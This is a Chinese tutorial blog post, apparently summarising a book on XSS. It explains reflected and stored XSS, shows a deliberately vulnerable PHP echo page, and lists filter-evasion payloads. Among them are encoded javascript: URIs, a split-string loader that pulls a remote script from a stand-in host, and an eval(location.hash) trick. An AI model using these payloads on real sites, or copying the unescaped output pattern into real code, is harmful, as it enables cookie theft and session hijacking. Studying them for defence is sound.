XSS跨站脚本攻击剖析与防御:初识XSS

目录

跨站脚本介绍

1. 什么是XSS跨站脚本

2. XSS跨站脚本实例

3. XSS漏洞的危害

XSS的分类 

1. 反射型XSS

2. 持久性XSS

XSS构造 

1. 利用< >标记注射Html /Javascript

2. 利用HTML标签属性值执行XSS 

3. 空格回车Tab

4. 对标签属性值转码

5. 产生自己的事件 

6. 利用CSS跨站剖析 

7. 扰乱过滤规则

8. 拆分跨站法 

Shellcode的调用 

1. 动态调用远程 JavaScript

2. 使用window.location.hash 


 

跨站脚本介绍

1. 什么是XSS跨站脚本

攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。

2. XSS跨站脚本实例

<html>

        <head>test</head>

        <body>

                <script>alert("XSS")</script>

         </body>

</html>

这是一段很简单的HTML代码,其中包括一个JavaScript语句块,该语句块使用内置的alert()函数来打开一个消息框,消息框中显示XSS信息。把以上代码保存为HTM或HTML文件,然后用浏览器打开。 

XSS输入也可能是HTML代码段,如要使网页不停地刷新,代码为:

<meta http-equiv="refresh" content="0;">

<html> 
    <head>   
        <title> XSS测试 </title> 
    </head> 
    <body>   
        <form action="XSS.php" method="POST">请输入名字:<br>
        <input type="text"name="name" value=""></input>    
        <input type="submit" value="提交"></input> 
    </body>
</html>

嵌入其他网站的链接,代码为:

<iframe src=http://www.test.com width=0 height=0></iframe> 


html文件: 

<html> 
    <head>   
        <title> XSS测试 </title> 
    </head> 
    <body>   
        <form action="XSS.php" method="POST">请输入名字:<br>
        <input type="text"name="name" value=""></input>    
        <input type="submit" value="提交"></input> 
    </body>
</html>

php文件:

<html> 
    <head>   
    <title> 测试结果 </title> 
    </head> 
    <body>  
        <?php echo $_REQUEST[name];?> 
    </body>
</html>

以上代码使用$_REQUEST[name]获取用户输入的name变量,然后直接echo输出。打开测试页面,随便输入一些信息,例如Lisa,然后单击【提交】按钮,页面把我们刚刚输入完完整整地输出来了。

3. XSS漏洞的危害

(1)网络钓鱼,包括盗取各类用户账号;

(2)窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;

(3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;

(4)强制弹出广告页面、刷流量等;

(5)网页挂马;

(6)进行恶意操作,例如任意篡改页面信息、删除文章等;(

(7)进行大量的客户端攻击,如DDoS攻击;

(8)获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;

(9)控制受害者机器向其他网站发起攻击;

(10)结合其他漏洞,如CSRF漏洞,实施进一步作恶;

(11)提升用户权限,包括进一步渗透网站;(

(12)传播跨站脚本蠕虫等;

   ……

XSS的分类 

1. 反射型XSS

反射型XSS的利用一般是攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者单击这些专门设计的链接的时候,恶意JavaScript代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。

将恶意脚本附加到URL地址的参数中:

http://www.test.com/search.php?key="><script>alert("XSS")</script>

2. 持久性XSS

此类XSS不需要用户单击特定URL就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。

XSS构造 

1. 利用< >标记注射Html /Javascript

<script>alert('XSS'); </script>

2. 利用HTML标签属性值执行XSS 

<table background="javascript:alert(/xss/)"></table>

3. 空格回车Tab

<img src="javas cript:alert(/xss/)" width=100>

4. 对标签属性值转码

<img src="javascrip&#116&#58alert(/XSS/);" >

5. 产生自己的事件 

<input type="button" value="click me" οnclick="alert('click me')" />

6. 利用CSS跨站剖析 

<div style="background-image:url(javascript:alert('XSS'))"><style>

7. 扰乱过滤规则

一个正常的XSS输入:<img src="javascript:alert(0);">

转换大小写后的XSS:<IMG SRC="javascript:alert(0);">

大小写混淆的XSS:<iMg sRC="jaVasCript:alert(0);">

不用双引号,而是使用单引号的XSS:<img src='javascript:alert(0);'>

不使用引号的XSS:<img src=javascript:alert(0);>

8. 拆分跨站法 

<script>z='document.'</script>

<script>z=z+'write("'</script>

<script>z=z+'<script'</script><script>z=z+' src=ht'</script>

<script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script>

<script>z=z+'.net/1.'</script>

<script>z=z+'js></sc'</script>

<script>z=z+'ript>")'</script><script>eval(z)</script>

上述代码的作用是引入一个字符串变量z,并且将下行代码拆分开来:document.write('<script src=//www.shell.net/1.js></script>')

Shellcode的调用 

所谓的 Shellcode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞时所执行的代码。在XSS跨站脚本中,是指由JavaScript等脚本编写的XSS利用代码。

1. 动态调用远程 JavaScript

可以直接把Shellcode写到URL参数中,如:

http://www.bug.com/veiw.php?sort="><script>alert(/xss/)</script>

这里有个显而易见的缺点,就是恶意代码败露在URL链接中,容易使网站用户产生怀疑。此外,Web应用程序不仅会对当中的恶意代码进行过滤,也会限制URL的字符长度。所以,方便起见,Shellcode可写到其他服务器的文件上,然后再用<script>标签进行动态加载。

2. 使用window.location.hash 

如果仅仅是为了解决URL字符长度问题,还可以使用另一种方式实现Shellcode的存储和调用——利用window.location.hash属性。

location 是 JavaScript 管理地址栏的内置对象,比如 location.href 用来管理页面的 URL,用location.href=url就可以直接将页面重定向URL,而location.hash则可以用来获取或设置页面的标签值。比如 http://domain/#admin 的location.hash="#admin",利用这个属性值可以做一件非常有意义的事情。

http://www.bug.com/veiw.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')

substr()可在字符串中抽取从 start 下标(这里是 1 )开始的指定数目的字符,所以location.hash.substr(1) 的作用是抽取“#”符号后面的字符,即alert('xss');而eval()函数用来计算某个字符串,并执行其中的 JavaScript 代码。那么,eval(location.hash.substr(1))的功能就是执行 Url的#之后的JavaScript代码,通过这个技巧,就能先把Shellcode写到地址参数中再执行。 

参考文献:

《XSS跨站脚本攻击剖析与防御》-邱永华-人民邮电出版社-2013-09

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ོ栖落

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值